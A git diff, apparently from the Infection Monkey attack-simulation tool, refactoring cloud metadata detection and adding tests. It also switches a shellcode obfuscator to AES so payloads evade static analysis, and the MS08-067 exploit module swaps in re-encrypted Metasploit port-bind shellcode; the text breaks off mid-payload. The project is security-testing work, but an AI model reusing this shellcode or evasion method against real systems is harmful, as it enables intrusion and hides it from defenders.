diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index d09169407..75dee4ce9 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -1,8 +1,7 @@ import json import logging import re -import urllib.error -import urllib.request +import requests from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance @@ -33,19 +32,17 @@ class AwsInstance(CloudInstance): self.account_id = None try: - self.instance_id = urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode() + response = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2) + self.instance_id = response.text if response else None self.region = self._parse_region( - urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode()) - except (urllib.error.URLError, IOError) as e: + requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').text) + except (requests.RequestException, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode()) - except (urllib.error.URLError, IOError) as e: + requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).text) + except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) @staticmethod diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py new file mode 100644 index 000000000..0353a0b9f --- /dev/null +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -0,0 +1,300 @@ +import json + +import pytest +import requests +import requests_mock + +from common.cloud.aws.aws_instance import (AWS_LATEST_METADATA_URI_PREFIX, + AwsInstance) +from common.cloud.environment_names import Environment + + +INSTANCE_ID_RESPONSE = 'i-1234567890abcdef0' + +AVAILABILITY_ZONE_RESPONSE = 'us-west-2b' + +# from https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html +INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """ +{ + "devpayProductCodes": null, + "marketplaceProductCodes": ["1abc2defghijklm3nopqrs4tu"], + "availabilityZone": "us-west-2b", + "privateIp": "10.158.112.84", + "version": "2017-09-30", + "instanceId": "i-1234567890abcdef0", + "billingProducts": null, + "instanceType": "t2.micro", + "accountId": "123456789012", + "imageId": "ami-5fb8c835", + "pendingTime": "2016-11-19T16:32:11Z", + "architecture": "x86_64", + "kernelId": null, + "ramdiskId": null, + "region": "us-west-2" +} +""" + + +EXPECTED_INSTANCE_ID = 'i-1234567890abcdef0' + +EXPECTED_REGION = 'us-west-2' + +EXPECTED_ACCOUNT_ID = '123456789012' + + +def get_test_aws_instance(text={'instance_id': None, + 'region': None, + 'account_id': None}, + exception={'instance_id': None, + 'region': None, + 'account_id': None}): + with requests_mock.Mocker() as m: + # request made to get instance_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + m.get(url, text=text['instance_id']) if text['instance_id'] else m.get( + url, exc=exception['instance_id']) + + # request made to get region + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + m.get(url, text=text['region']) if text['region'] else m.get( + url, exc=exception['region']) + + # request made to get account_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + m.get(url, text=text['account_id']) if text['account_id'] else m.get( + url, exc=exception['account_id']) + + test_aws_instance_object = AwsInstance() + return test_aws_instance_object + + +# all good data +@pytest.fixture +def good_data_mock_instance(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + + +def test_is_instance_good_data(good_data_mock_instance): + assert good_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_region() == EXPECTED_REGION + + +def test_get_account_id_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'region' bad data +@pytest.fixture +def bad_region_data_mock_instance(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': 'in-a-different-world', + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + + +def test_is_instance_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_region() is None + + +def test_get_account_id_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'account_id' bad data +@pytest.fixture +def bad_account_id_data_mock_instance(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': 'who-am-i'}) + + +def test_is_instance_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_region() == EXPECTED_REGION + + +def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_account_id() is None + + +# 'instance_id' bad requests +@pytest.fixture +def bad_instance_id_request_mock_instance(instance_id_exception): + return get_test_aws_instance(text={'instance_id': None, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, + exception={'instance_id': instance_id_exception, + 'region': None, + 'account_id': None}) + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.is_instance() is False + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_instance_id() is None + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_region_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_region() is None + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'region' bad requests +@pytest.fixture +def bad_region_request_mock_instance(region_exception): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': None, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, + exception={'instance_id': None, + 'region': region_exception, + 'account_id': None}) + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.is_instance() + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_region_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_region() is None + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'account_id' bad requests +@pytest.fixture +def bad_account_id_request_mock_instance(account_id_exception): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': None}, + exception={'instance_id': None, + 'region': None, + 'account_id': account_id_exception}) + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.is_instance() + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_region_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_region() == EXPECTED_REGION + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_account_id() is None + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + with requests_mock.Mocker() as m: + # request made to get instance_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + m.get(url, status_code=404) + + # request made to get region + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + m.get(url) + + # request made to get account_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + m.get(url) + + not_found_aws_instance_object = AwsInstance() + return not_found_aws_instance_object + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_instance_id() is None + + +def test_get_region_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_region() is None + + +def test_get_account_id_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_account_id() is None diff --git a/monkey/common/cloud/aws/aws_service_test.py b/monkey/common/cloud/aws/test_aws_service.py similarity index 100% rename from monkey/common/cloud/aws/aws_service_test.py rename to monkey/common/cloud/aws/test_aws_service.py diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index af6c85460..969e4a8ca 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -1,6 +1,7 @@ import logging import requests +import simplejson from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance @@ -18,7 +19,7 @@ class AzureInstance(CloudInstance): Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service """ def is_instance(self): - return self.on_azure + return self._on_azure def get_cloud_provider_name(self) -> Environment: return Environment.AZURE @@ -30,24 +31,22 @@ class AzureInstance(CloudInstance): self.instance_name = None self.instance_id = None self.location = None - self.on_azure = False + self._on_azure = False try: response = requests.get(AZURE_METADATA_SERVICE_URL, headers={"Metadata": "true"}, timeout=SHORT_REQUEST_TIMEOUT) - self.on_azure = True # If not on cloud, the metadata URL is non-routable and the connection will fail. # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. if response: - logger.debug("On Azure. Trying to parse metadata.") + logger.debug("Trying to parse Azure metadata.") self.try_parse_response(response) else: - logger.warning("On Azure, but metadata response not ok: {}".format(response.status_code)) + logger.warning(f"Metadata response not ok: {response.status_code}") except requests.RequestException: logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") - self.on_azure = False def try_parse_response(self, response): try: @@ -55,5 +54,6 @@ class AzureInstance(CloudInstance): self.instance_name = response_data["compute"]["name"] self.instance_id = response_data["compute"]["vmId"] self.location = response_data["compute"]["location"] - except KeyError: - logger.exception("Error while parsing response from Azure metadata service.") + self._on_azure = True + except (KeyError, simplejson.errors.JSONDecodeError) as e: + logger.exception(f"Error while parsing response from Azure metadata service: {e}") diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py new file mode 100644 index 000000000..680af90ed --- /dev/null +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -0,0 +1,199 @@ +import pytest +import requests +import requests_mock +import simplejson + +from common.cloud.azure.azure_instance import (AZURE_METADATA_SERVICE_URL, + AzureInstance) +from common.cloud.environment_names import Environment + + +GOOD_DATA = { + 'compute': {'azEnvironment': 'AZUREPUBLICCLOUD', + 'isHostCompatibilityLayerVm': 'true', + 'licenseType': 'Windows_Client', + 'location': 'westus', + 'name': 'examplevmname', + 'offer': 'Windows', + 'osProfile': {'adminUsername': 'admin', + 'computerName': 'examplevmname', + 'disablePasswordAuthentication': 'true'}, + 'osType': 'linux', + 'placementGroupId': 'f67c14ab-e92c-408c-ae2d-da15866ec79a', + 'plan': {'name': 'planName', + 'product': 'planProduct', + 'publisher': 'planPublisher'}, + 'platformFaultDomain': '36', + 'platformUpdateDomain': '42', + 'publicKeys': [{'keyData': 'ssh-rsa 0', + 'path': '/home/user/.ssh/authorized_keys0'}, + {'keyData': 'ssh-rsa 1', + 'path': '/home/user/.ssh/authorized_keys1'}], + 'publisher': 'RDFE-Test-Microsoft-Windows-Server-Group', + 'resourceGroupName': 'macikgo-test-may-23', + 'resourceId': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/' + 'providers/Microsoft.Compute/virtualMachines/examplevmname', + 'securityProfile': {'secureBootEnabled': 'true', + 'virtualTpmEnabled': 'false'}, + 'sku': 'Windows-Server-2012-R2-Datacenter', + 'storageProfile': {'dataDisks': [{'caching': 'None', + 'createOption': 'Empty', + 'diskSizeGB': '1024', + 'image': {'uri': ''}, + 'lun': '0', + 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' + 'resourceGroups/macikgo-test-may-23/providers/' + 'Microsoft.Compute/disks/exampledatadiskname', + 'storageAccountType': 'Standard_LRS'}, + 'name': 'exampledatadiskname', + 'vhd': {'uri': ''}, + 'writeAcceleratorEnabled': 'false'}], + 'imageReference': {'id': '', + 'offer': 'UbuntuServer', + 'publisher': 'Canonical', + 'sku': '16.04.0-LTS', + 'version': 'latest'}, + 'osDisk': {'caching': 'ReadWrite', + 'createOption': 'FromImage', + 'diskSizeGB': '30', + 'diffDiskSettings': {'option': 'Local'}, + 'encryptionSettings': {'enabled': 'false'}, + 'image': {'uri': ''}, + 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' + 'resourceGroups/macikgo-test-may-23/providers/' + 'Microsoft.Compute/disks/exampleosdiskname', + 'storageAccountType': 'Standard_LRS'}, + 'name': 'exampleosdiskname', + 'osType': 'Linux', + 'vhd': {'uri': ''}, + 'writeAcceleratorEnabled': 'false'}}, + 'subscriptionId': 'xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx', + 'tags': 'baz:bash;foo:bar', + 'version': '15.05.22', + 'vmId': '02aab8a4-74ef-476e-8182-f6d2ba4166a6', + 'vmScaleSetName': 'crpteste9vflji9', + 'vmSize': 'Standard_A3', + 'zone': ''}, + 'network': {'interface': [{'ipv4': {'ipAddress': [{'privateIpAddress': '10.144.133.132', + 'publicIpAddress': ''}], + 'subnet': [{'address': '10.144.133.128', + 'prefix': '26'}]}, + 'ipv6': {'ipAddress': []}, + 'macAddress': '0011AAFFBB22'}]} + } + + +BAD_DATA_NOT_JSON = '\n\n\n\n\nWaiting...\n\n\n \n\n' + + +BAD_DATA_JSON = {'': ''} + + +def get_test_azure_instance(url, **kwargs): + with requests_mock.Mocker() as m: + m.get(url, **kwargs) + test_azure_instance_object = AzureInstance() + return test_azure_instance_object + + +# good request, good data +@pytest.fixture +def good_data_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(GOOD_DATA)) + + +def test_is_instance_good_data(good_data_mock_instance): + assert good_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_try_parse_response_good_data(good_data_mock_instance): + assert good_data_mock_instance.instance_name == GOOD_DATA['compute']['name'] + assert good_data_mock_instance.instance_id == GOOD_DATA['compute']['vmId'] + assert good_data_mock_instance.location == GOOD_DATA['compute']['location'] + + +# good request, bad data (json) +@pytest.fixture +def bad_data_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(BAD_DATA_JSON)) + + +def test_is_instance_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.instance_name is None + assert bad_data_json_mock_instance.instance_id is None + assert bad_data_json_mock_instance.location is None + + +# good request, bad data (not json) +@pytest.fixture +def bad_data_not_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=BAD_DATA_NOT_JSON) + + +def test_is_instance_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.instance_name is None + assert bad_data_not_json_mock_instance.instance_id is None + assert bad_data_not_json_mock_instance.location is None + + +# bad request +@pytest.fixture +def bad_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, exc=requests.RequestException) + + +def test_is_instance_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.instance_name is None + assert bad_request_mock_instance.instance_id is None + assert bad_request_mock_instance.location is None + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, status_code=404) + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.instance_name is None + assert not_found_request_mock_instance.instance_id is None + assert not_found_request_mock_instance.location is None diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py index d81fd2186..6c14500db 100644 --- a/monkey/common/cloud/gcp/gcp_instance.py +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -17,13 +17,13 @@ class GcpInstance(CloudInstance): Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce """ def is_instance(self): - return self.on_gcp + return self._on_gcp def get_cloud_provider_name(self) -> Environment: return Environment.GCP def __init__(self): - self.on_gcp = False + self._on_gcp = False try: # If not on GCP, this domain shouldn't resolve. @@ -31,7 +31,7 @@ class GcpInstance(CloudInstance): if response: logger.debug("Got ok metadata response: on GCP") - self.on_gcp = True + self._on_gcp = True if "Metadata-Flavor" not in response.headers: logger.warning("Got unexpected GCP Metadata format") @@ -42,4 +42,4 @@ class GcpInstance(CloudInstance): logger.warning("On GCP, but metadata response not ok: {}".format(response.status_code)) except requests.RequestException: logger.debug("Failed to get response from GCP metadata service: This instance is not on GCP") - self.on_gcp = False + self._on_gcp = False diff --git a/monkey/common/cloud/gcp/test_gcp_instance.py b/monkey/common/cloud/gcp/test_gcp_instance.py new file mode 100644 index 000000000..9170b81c5 --- /dev/null +++ b/monkey/common/cloud/gcp/test_gcp_instance.py @@ -0,0 +1,55 @@ +import pytest +import requests +import requests_mock + +from common.cloud.environment_names import Environment +from common.cloud.gcp.gcp_instance import GCP_METADATA_SERVICE_URL, GcpInstance + + +def get_test_gcp_instance(url, **kwargs): + with requests_mock.Mocker() as m: + m.get(url, **kwargs) + test_gcp_instance_object = GcpInstance() + return test_gcp_instance_object + + +# good request +@pytest.fixture +def good_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL) + + +def test_is_instance_good_request(good_request_mock_instance): + assert good_request_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_request(good_request_mock_instance): + assert good_request_mock_instance.get_cloud_provider_name() == Environment.GCP + + +# bad request +@pytest.fixture +def bad_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL, exc=requests.RequestException) + + +def test_is_instance_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.get_cloud_provider_name() == Environment.GCP + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL, status_code=404) + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.GCP diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py index 10ee07c79..4e4c2ed3d 100644 --- a/monkey/common/utils/shellcode_obfuscator.py +++ b/monkey/common/utils/shellcode_obfuscator.py @@ -1,23 +1,30 @@ # This code is used to obfuscate shellcode # Usage: # shellcode_obfuscator.py [your normal shellcode]. -# For example: -# shellcode_obfuscator.py "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" -# This returns "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52" -# Verify that it's the same shellcode, just reversed and paste it in code. -# Then clarify it before usage to reverse it on runtime. import sys +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports +from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -def obfuscate(shellcode: str) -> str: - shellcode = shellcode.split('\\')[::-1] - return '\\'+'\\'.join(shellcode)[:-1] +# We only encrypt payloads to hide them from static analysis +# it's OK to have these keys plaintext +KEY = b'1234567890123456' +NONCE = b'\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f' -def clarify(shellcode: str) -> str: - return shellcode[::-1] +# Use this manually to get obfuscated bytes of shellcode +def obfuscate(shellcode: bytes) -> bytes: + cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) + ciphertext, _ = cipher.encrypt_and_digest(shellcode) + return ciphertext + + +def clarify(shellcode: bytes) -> bytes: + cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) + plaintext = cipher.decrypt(shellcode) + return plaintext if __name__ == "__main__": - print(obfuscate(sys.argv[1])) + print(obfuscate(sys.argv[1].encode())) diff --git a/monkey/common/utils/test_shellcode_obfuscator.py b/monkey/common/utils/test_shellcode_obfuscator.py index c8df07c6e..7116993f2 100644 --- a/monkey/common/utils/test_shellcode_obfuscator.py +++ b/monkey/common/utils/test_shellcode_obfuscator.py @@ -2,16 +2,14 @@ from unittest import TestCase from common.utils.shellcode_obfuscator import clarify, obfuscate -SHELLCODE_FROM_CMD_PARAM = '\\x52\\x3d\\xf6\\xc9\\x4b\\x5d\\xe0\\x62\\x7e\\x3d\\xa8\\x07\\x7b\\x76\\x30' -OBFUSCATED_PARAM_OUTPUT = '\\x30\\x76\\x7b\\x07\\xa8\\x3d\\x7e\\x62\\xe0\\x5d\\x4b\\xc9\\xf6\\x3d\\x52' -OBFUSCATED_SHELLCODE = "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52" -CLARIFIED_SHELLCODE = "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" +SHELLCODE = b'1234567890abcd' +OBFUSCATED_SHELLCODE = b'\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=' class TestShellcodeObfuscator(TestCase): def test_obfuscate(self): - self.assertEqual(obfuscate(SHELLCODE_FROM_CMD_PARAM), OBFUSCATED_PARAM_OUTPUT) + assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE def test_clarify(self): - self.assertEqual(clarify(OBFUSCATED_SHELLCODE), CLARIFIED_SHELLCODE) + assert clarify(OBFUSCATED_SHELLCODE) == SHELLCODE diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 24e232d4e..7690f33c1 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -25,27 +25,36 @@ from infection_monkey.network.tools import check_tcp_port LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 -OBFUSCATED_SHELLCODE = ("\xa9\xb6\x4a\x39\x56\x60\xb5\xba\xf6\xb2\xc0\x19\xc1\x66\xb5\xbb\x7f\x49\x2e" - "\x2d\x2a\x4a\x1d\x62\x79\x49\x7d\x16\x56\xdc\x9c\x16\xfa\x78\x4f\x30\x04\xde" - "\x9a\x16\xf8\xe3\x1b\xb8\xa8\xdc\x1b\xb8\xf8\xe4\x1d\xb2\x7f\x49\x0e\x9c\x56" - "\xa0\xf9\x17\xdb\xde\xe1\x42\x02\x8e\x30\x64\x3a\x9a\x08\x17\x84\xf4\xb4\x43" - "\x5a\x76\x7b\x0b\x20\xf2\x20\x0e\x20\x7a\x63\xb0\xf9\xdc\xaf\x60\xc4\xd5\x22" - "\x8f\xcd\xdc\x2c\x39\x56\xe3\x9c\x16\xfe\xcf\x8c\x90\x4e\xde\xd9\x39\x56\xe3" - "\x1e\xbd\xf9\x60\xb5\xbe\xe0\x30\x03\x0c\xc1\x66\xb5\xbc\xfa\x60\xb5\xbe\x40" - "\x98\xe7\x4d\xc1\x66\xb5\xbc\xf8\xa6\x20\x3f\x56\xe1\x8d\x99\xb3\x12\x22\x7c" - "\x48\x3f\x19\x8f\xf5\xa7\x22\x8f\x79\x49\x19\xaa\xfa\xf5\x19\xba\xfa\xe5\x19" - "\x3f\x56\xe1\xe7\x1c\xa0\x6f\x22\x39\x56\xb4\x20\xbc\xab\xbe\xa7\x68\xcf\x53" - "\xc3\xb6\x7f\x49\x1a\xd2\x55\x5b\x81\x81\x79\x49\x1e\xb6\x9b\xc5\x3d\x81\x9b" - "\x85\x22\x8f\xfa\xd0\x9c\x16\xf9\x5a\x44\xa7\x27\xde\x14\xe1\xe9\x3d\xe7\xf5" - "\xd9\x3d\x46\xa9\x22\x86\x09\x62\xcd\x6d\x7b\x2a\xc8\xaa\x6e\x85\x20\x3d\x66" - "\xea\x42\xb7\x56\xb6\x22\xfd\x46\x62\xcf\x5d\x4b\xcd\xf6\x3d\xaf\x9c\x81\x92" - "\x1e\xd2\x5d\x5d\x88\xe8\xa4\x7c\x8b\xee\xdd\x76\xce\x45\x30\x76\x7b\x07\xa8" - "\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52\xa6\x22\x59\x4b\x91\xac\xca\xc1\xd5" - "\xec\x3d\x6e\xcd\xc5\x3d\x2a\x16\x56\x49\xb3\x01\xe4\x5d\x20\x15\xf4\xe2\xfc" - "\xee\x83\xa9\xb6\x4a\xe9\x0e\x76\x81\x5e\xc0\xff\xff\xff\xff\xe8\xb0\xe9\x83" - "\xc9\x29\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90") +OBFUSCATED_SHELLCODE = (b'4\xf6kPF\xc5\x9bI,\xab\x1d' + b'\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J' + b'\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01\'\xa8\x03\x90\x01\xec\x13' + b'\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq' + 